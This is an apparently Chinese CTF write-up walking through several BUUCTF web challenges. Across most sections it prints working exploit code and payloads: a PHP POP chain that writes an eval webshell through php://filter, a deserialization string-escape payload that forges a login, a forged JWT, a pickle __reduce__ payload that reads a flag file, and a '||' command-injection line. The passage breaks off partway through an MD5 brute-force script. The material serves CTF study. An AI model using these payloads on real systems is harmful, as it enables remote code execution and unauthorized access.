BUU-web四

BUUCTF-web刷题(四)

[EIS 2019]EzPOP
知识点:PHP反序列化-pop链构造

[GYCTF2020]Easyphp
知识点:PHP反序列化、字符逃逸、POP

[CISCN2019Web2]ikun
知识点:python序列化

[ACTF2020新生赛]Exec
知识点:命令执行

[BJDCTF2020]EasySearch
知识点:SSI注入

NCTF2019]Fake XML cookbook
知识点:xxe

[CISCN2019Web1]Easyweb
知识点:备份文件泄露、SQL注入、php短标签

[网鼎杯2018]Comment
知识点:git源码泄露、二次注入

[EIS 2019]EzPOP

给出源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
<?php
error_reporting(0);
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}
class B {
protected function getExpireTime($expire): int {
return (int) $expire;
}
public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;

if (is_null($expire)) {
$expire = $this->options['expire'];
}

$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);

$dir = dirname($filename);

if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

if ($result) {
return true;
}
return false;
}
}
if (isset($_GET['src']))
{
highlight_file(__FILE__);
}
$dir = "uploads/";
if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);

代码审计:
首先在B类的set方法里发现有一个可以写入文件的地方,也许可以利用这里来写入一句话木马。

$result = file_put_contents($filename, $data);

然后发现在A类的__destruct()方法里发现可以调用save方法,并且save方法又调用了set方法,所以大致的pop链流程为:

new A => __destruct() => save() => set() => file_put_contents()

然后再来看写如文件的两个参数$filename和$data有什么限制
$filename通过set()函数的$name传入,然后经过getCacheKey($name)函数将文件名缓存处理后传给$filename,

$data是通过set()函数的$value变量传入 ,经过一次序列化传入$data,然后经过gzcompress函数压缩。再与"<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n"拼接。其中还有$expire参数

$expire通过set函数传入后经过getExpiireTime函数处理,也就是将其转为整型。

因为在后面写入文件的时候,前面拼接了一段别的php代码

1
"<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n"

而且这段代码会导致即便我们在后面拼接上shell也无法正常执行。
这里有道原题叫死亡退出,并且file_put_contents是支持php伪协议的,所以我们可以通过php://filter/write=convert.base64-decode/来将

1
2
$data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

这段代码中的$data全部用base64解码转化过后再写入文件中,其中前面拼接部分会被强制解码,从而变成一堆乱码。而我们写入的shell(base64编码过的)会解码成正常的木马文件。
这里唯一需要注意的是长度问题,我们需要shell部分<?php phpinfo()?>前面加起来的字节数为4的倍数(base64解码时不影响shell部分)。
所以$b->options[‘prefix’]=’php://filter/write=convert.base64-decode/resource=./uploads/‘;

$data中的$vaule实际上是A类中getForStorage()的返回值

A::getForStorage()返回json_encode([A::cleanContents(A::cache), A::complete]);

接下来就是构造$a->catch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public function cleanContents(array $contents)
{
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function getForStorage()
{
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save()
{
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}

在cleanContents()中,array_intersect_key()是比较两个数组的键名,并返回交集。所以我们$object的键选$cachedProperties中任意一个都行,这里选择path。值就是我们的shell的base64编码,
PD9waHAgQGV2YWwoJF9QT1NUWzEyM10pOz8+
即:

1
$object = array("path"=>"PD9waHAgQGV2YWwoJF9QT1NUWzEyM10pOz8+");

如果我们设值$path=’1’,$complete=’2’,则最后得到的$contents会是

1
[{"1":{"path":"JTNDJTNGcGhwJTIwZXZhbCUyOCUyNF9HRVQlNUIlMjd6eiUyNyU1RCUyOSUzQiUzRiUzRQ=="}},"2"]

其中$complete=’2’因为在shell后面,所以并不影响解码。当$path=’111’时,可以正常解码shell

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
class A{
protected $store;
protected $key;
protected $expire;
public function __construct()
{
$this->key = 'pz.php';
}
public function start($tmp){
$this->store = $tmp;
}
}
class B{
public $options;
}

$a = new A();
$b = new B();
$b->options['prefix'] = "php://filter/write=convert.base64-decode/resource=";
$b->options['expire'] = 11;
$b->options['data_compress'] = false;
$b->options['serialize'] = 'strval';
$a->start($b);
$object = array("path"=>"PD9waHAgQGV2YWwoJF9QT1NUWzEyM10pOz8+");
$path = '111';
$a->cache = array($path=>$object);
$a->complete = '2';
echo urlencode(serialize($a));
?>

得到:

1
O%3A1%3A%22A%22%3A5%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A4%3A%7Bs%3A6%3A%22prefix%22%3Bs%3A50%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3D%22%3Bs%3A6%3A%22expire%22%3Bi%3A11%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3Bs%3A9%3A%22serialize%22%3Bs%3A6%3A%22strval%22%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A6%3A%22pz.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3BN%3Bs%3A5%3A%22cache%22%3Ba%3A1%3A%7Bi%3A111%3Ba%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A36%3A%22PD9waHAgQGV2YWwoJF9QT1NUWzEyM10pOz8%2B%22%3B%7D%7Ds%3A8%3A%22complete%22%3Bs%3A1%3A%222%22%3B%7D

最后get传参得到shell

[GYCTF2020]Easyphp

进入题目为一个登陆框,SQL注入无果,扫目录发现www.zip源码泄露

login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
require_once('lib.php');
?>
#HTML code.......
<?php
$user=new user();
if(isset($_POST['username'])){
if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['username'])){
die("<br>Damn you, hacker!");
}
if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['password'])){
die("Damn you, hacker!");
}
$user->login();
}
?>
</form>
</center>

update.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}

?>

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
require_once "lib.php";

if(isset($_GET['action'])){
require_once(__DIR__."/".$_GET['action'].".php");
}
else{
if($_SESSION['login']==1){
echo "<script>window.location.href='./index.php?action=update'</script>";
}
else{
echo "<script>window.location.href='./index.php?action=login'</script>";
}
}
?>

lib.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
<?php
error_reporting(0);
session_start();
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class User
{
public $id;
public $age=null;
public $nickname=null;
public function login() {
if(isset($_POST['username'])&&isset($_POST['password'])){
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
echo "你的ID是".$_SESSION['id'];
echo "你好!".$_SESSION['token'];
echo "<script>window.location.href='./update.php'</script>";
return $this->id;
}
}
}
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
public function __destruct(){
return file_get_contents($this->nickname);//危
}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}

代码审计:

首先在update.php页面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}
?>

当$_SESSION[‘login’]等于1的时候登陆成功,并且获得flag。接下来就寻找它什么时候等于1。
在lib.php中的User类里面可以看到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class User
{
public $id;
public $age=null;
public $nickname=null;
public function login() {
if(isset($_POST['username'])&&isset($_POST['password'])){
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
echo "你的ID是".$_SESSION['id'];
echo "你好!".$_SESSION['token'];
echo "<script>window.location.href='./update.php'</script>";
return $this->id;
}
}
}

if判断$this->id是否为真,如果为真便成功登陆,$this->id是通过mysqli调用login方法,而$mysqli是new的一个dbCtrl对象,即$this->id是调用的dbCtrl类中的login方法,这里的’select id,password from user where username=?’便是dbCtrl::login中的$sql参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}

但是我们首先需要调用User类,才可以动这里的mysql,然后发现在login.php中new了一个user类

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
$user=new user();
if(isset($_POST['username'])){
if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['username'])){
die("<br>Damn you, hacker!");
}
if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['password'])){
die("Damn you, hacker!");
}
$user->login();
}
?>

这里限制了POST传入的username,当传入的username通过正则后便可以进入user类的login方法。进入之后会检测是否传入username和password参数,然后便进入到了dbCtrl::login中,然后以’select id,password from user where username=?’作为$sql 参数,这里的?是pdo数据查询特有的占位符。
当$sql参数传入时进行了占位符的替换,将?替换为$this->name,也就是我们POST传入的username。这里其实执行的就是一个sql查询,你输入了username,后台会查询这个对应名字的密码,返回的是$idResult和$passwordResult结果。然后会把输入的password的md5值和后台比较,如果存在该用户名就会给你返回id序列号和密码,如果不存在或者密码错误,那只能返回false。

1
2
3
4
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);

[PHP PDO prepare()、execute()和bindParam()方法详解]

这时候看到了UpdateHelper和类还没有用,仔细看一下发现Info类里面的call方法触发后会调用CtrlCase属性然后又调用了login方法,但是我们知道属性不能调用方法,只有对象才可以直接调用,这里有点懵了,然后回去看了一下前面时怎么调用login方法的: $mysqli=new dbCtrl(); $this->id=$mysqli->login('select id,password from user where username=?');发现时先new了一个类成为一个对象再去调用,所以这里我们应该要先吧$this->CtrlCase变成一个对象。

1
2
3
4
5
6
7
8
9
10
11
12
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}

这里暂时还不知道如何实例化和实例化哪一个类,所一接着往下看UpdateHelper类:

1
2
3
4
5
6
7
8
9
10
11
12
13
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}

结果发现了一个反序列化函数,里面又$newInfo参数,找找是从哪里传入的,最后在user类里面面的update方法中调用了UpdateHelper类:

1
2
3
4
5
6
7
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}

所以newInfo肯定就是传进来的session[‘id’]这个值了,但是这个值服务器才能使用,这里控制不了。
然后看到UpdateHelper类里面有一个echo $this->sql;这个sql便是我们传入__construct($newInfo,$sql)里的$sql。
接着看一下unserialize里的$this->getNewinfo()参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
public function __destruct(){
return file_get_contents($this->nickname);//危
}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}

这里的$age和$nickname没有任何过滤,所以我们可以任意输入,这时候便可以构思:当我们在update.php页面POST一个反序列化后的UpdateHelper对象,当其销毁时会调用UpdateHelper里面的析构方法,然后输出$this->sql,这是一个字符串,如果$this->sql为一个User类的对象便可以触发__tostring方法。
然后尝试构造一部分POC:

1
2
3
$user = new User();		//新建一个user对象
$payload = new UpdateHelper();
$pauload->sql = $user;

接下来就是先办法调用call方法,要求是咱们能够访问一个对象不存在的方法,这里tostring访问的方法是在User类里面,而call是在Info类里面,所以$this->nickname是Info类的时候便可以触发这个call。所以,当nickname是一个Info类的对象的时候,就会调用Info类里的call,使得$this->CtrlCase访问login。
这里有两个login,一个是User类里面的,一个是dbCtrl类里面的,但是不难发现User里面的login方法其实也是调用的dbCurl类里面的login方法。
所以$this->CtrlCase应该赋值一个dbCurl对象,所以我们可以再次尝试构造一下poc

1
2
3
4
5
6
7
8
$user = new User();
$user->nickname = new Info();

$db = new dbCurl();
$user->nickname->CtrlCase = $db;

$payload = new UpdateHelper();
$pauload->sql = $user;

然后看一下call方法的定义

1
2
3
4
function __call(string $function_name, array $arguments)
{
// 方法体
}

我们知道触发call方法是因为将$this->nickname实例化为一个Info对象。所以这里的$name 便是update方法,而argument便是update函数里面的数组,argument[0]便是this->age值。然后再来看一下dbCtrl里面的登陆判断:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
    if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}

这里的$this->password直接就是个public,接在实例化dbCtrl类的时候就赋值,这里的$passwordResult是select id,password from user where username=?
这里的?是$this->name,可以赋值

SQL语句是从call方法$this->CtrlCase->login($argument[0])里的argument[0]传进来的

这里的argument[0]是User类里面update方法里面的$this->age属性,又因为为了调用call方法,我们将$user->nickname = new Info();的值赋了一个Info对象,所以现在$this->age 属于Info对象

然后UpdateHelper对象里的sql属性被赋值了User对象

而UpdateHelper对象是由我们自己实例化后,再变成序列化字符串传进去的,传到update.php里执行了update方法被反序列化函数还原出来的,并且sql可控

这里的sql查询语句为select id,password from user where username=?
通过控制这里的sql执行语句即可通过登录的密码验证
select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?
c4ca4238a0b923820dcc509a6f75849b是1的MD5值

所以我们可以接着构造poc:

1
2
3
4
5
6
7
8
9
10
11
$user = new User();
$user->nickname = new Info();
$user->age = 'select "1", "21232f297a57a5a743894a0e4a801fc3"';

$db = new dbCurl();
$db->password = 'admin';
$db->name = 'admin';
$user->nickname->CtrlCase = $db;

$payload = new UpdateHelper();
$pauload->sql = $user;
1
2
3
4
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));

但是Post进去是变成了实例化Info对象用的参数,达不到预期效果。所以这里要让字符串逃逸

1
2
3
4
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}

他把union等替换成了hacker,正好多出一个字符,那我如果根据序列化的规则添加字符,就可以多还原一个对象了

多一个对象需要添加”s:1:”1”;要的对像序列化字符串;

你要的对象序列化字符串已经有了,就是咱们辛苦构造的那个new UpdateHelper,直接serialize就可以得到

但是前面这个”s:1:”1”;呢,当然也是用反序列化长度逃逸了。

怎么构造这个溢出呢,就是你需要溢出多长,就写多少个union,每一个union被替换为hacker的时候,都可以为你增加一个字符的溢出长度。

所以最终的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
class User
{
public $id;
public $age=null;
public $nickname=null;
}
class Info
{
public $age;
public $nickname;
public $CtrlCase;

}
class UpdateHelper
{

}
class dbCtrl
{

}
$user = new User();
$user->age = 'select "1", "21232f297a57a5a743894a0e4a801fc3"';
$user->nickname = new Info("", "");
$db = new dbCtrl();
$db->password = "admin";
$db->name = "admin";
$user->nickname->CtrlCase = $db;
$payload = new UpdateHelper("", "");
$payload->sql = $user;
$payload_age = 'unionunionunionunionunionunionunionunion";s:1:"1';
$payload_nickname = '";' . serialize($payload) . '}';
$payload_nickname = str_repeat("union", strlen($payload_nickname)) . $payload_nickname;
echo $payload_nickname;

结果:

1
unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:46:"select "1", "21232f297a57a5a743894a0e4a801fc3"";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":2:{s:8:"password";s:5:"admin";s:4:"name";s:5:"admin";}}}}}

最后使用POST传参:

1
age=unionunionunionunionunionunionunionunion";s:1:"1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:46:"select "1", "21232f297a57a5a743894a0e4a801fc3"";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":2:{s:8:"password";s:5:"admin";s:4:"name";s:5:"admin";}}}}}

然后admin,任意 密码登录便得到flag


参考文章:从春秋公益赛babyphp学习反序列化长度逃逸
这篇文章写的十分详细,花了一上午来学习,这道题做了接近一天,我再也不会相信什么easyphp了…..,但还是收获颇丰。
再收藏几篇文章,方便以后学习:

php框架反序列化练习
https://www.jianshu.com/p/ab8bdce3b13a

深入浅析PHP的session反序列化漏洞问题
https://www.jb51.net/article/116246.htm

南邮PHP反序列化
https://www.cnblogs.com/nul1/p/9417484.html

PHP反序列化入门之常见魔术方法
https://www.codercto.com/a/57508.html

1、POP链和序列化,反序列化操作
imghttps://www.jianshu.com/p/e40b94f24361

2、代码审计知识星球
imghttps://code-breaking.com/

3、PHP反序列化入门之寻找POP链(一)
https://www.freebuf.com/column/203767.html

4、PHP反序列化入门之寻找POP链(二)
https://www.anquanke.com/post/id/170714

[CISCN2019Web2]ikun

网站提示我们 要买到lv6,随便点一个发现为/info/22的格式,我们可以写一个脚本来寻找有lv6。png的页面:

1
2
3
4
5
6
7
8
9
import requests
url = "http://d21410bc-a3cd-46d7-9459-af417562cf67.node3.buuoj.cn/shop?page="
for i in range(1,1000):
payload = url+str(i)
print(payload)
res = requests.get(payload)
if "lv6.png" in res.text:
print(payload)
break;

在第181页发现了lv6

很明显钱不够
但是可以抓包修改折扣

然后自动跳转到了b1g_m4mber页面,显示只有admin才能访问。这里涉及JWT破解了解JWT
先抓包将JWT base64解码,得到username是自己的登陆名qqqq,这里需要改为admin
后边解码不出来因为经过了sha256,需要破解key
使用工具破的破解工具,在安装后先使用make编译一下
解密得到Secret is "1Kun"|
然后伪造我们的jwt生成jwt的网站

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

然后登录成功

然后得到了一个下载地址,将其下载下来

然后在admin.py发现了一个python序列化的地方:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')

@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)

这里用了Pickle协议的方法__reduce__(self)
这是大佬讲python魔术方法的博客

1
2
3
4
5
6
7
8
9
10
import pickle
import urllib

class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

这样就可以打印flag.txt里的内容了
将生成的payload传给become

参考文章

[ACTF2020 新生赛]Exec

此题为命令执行,该题可以使用||分隔符,没有过滤空格,使用cat或者tac来读取flag
payload:

127.0.0.1 || tac ../../../flag

得到flag

[BJDCTF2020]EasySearch

本题考查SSI注入

(SSI 注入全称Server-Side Includes Injection,即服务端包含注入。SSI 是类似于 CGI,用于动态页面的指令。SSI 注入允许远程在 Web 应用中注入脚本来执行代码。SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。从技术角度上来说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。IIS和Apache都可以开启SSI功能)

(SSI注入的条件:

1.Web 服务器已支持SSI(服务器端包含)

2.Web 应用程序未对对相关SSI关键字做过滤

3.Web 应用程序在返回响应的HTML页面时,嵌入用户输入)

进入后是一个登录框,测试是否存在sql注入,但是并没有什么发现。扫描目录发现index.php.swp源码泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";

}else
{
***
}
***
?>

审计之后发现password前6个字符的md5加密值等于6d0bc1,这里我们可以使用脚本MD5碰撞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import hashlib
from multiprocessing.dummy import Pool as ThreadPool

# MD5截断数值已知 求原始数据
# 例子 substr(md5(captcha), 0, 6)=60b7ef

def md5(s): # 计算MD5字符串
return hashlib.md5(str(s).encode('utf-8')).hexdigest()


keymd5 = '6d0bc1' #已知的md5截断值
md5start = 0 # 设置题目已知的截断位置
md5length = 6

def findmd5(sss): # 输入范围 里面会进行md5测试
key = sss.split(':')
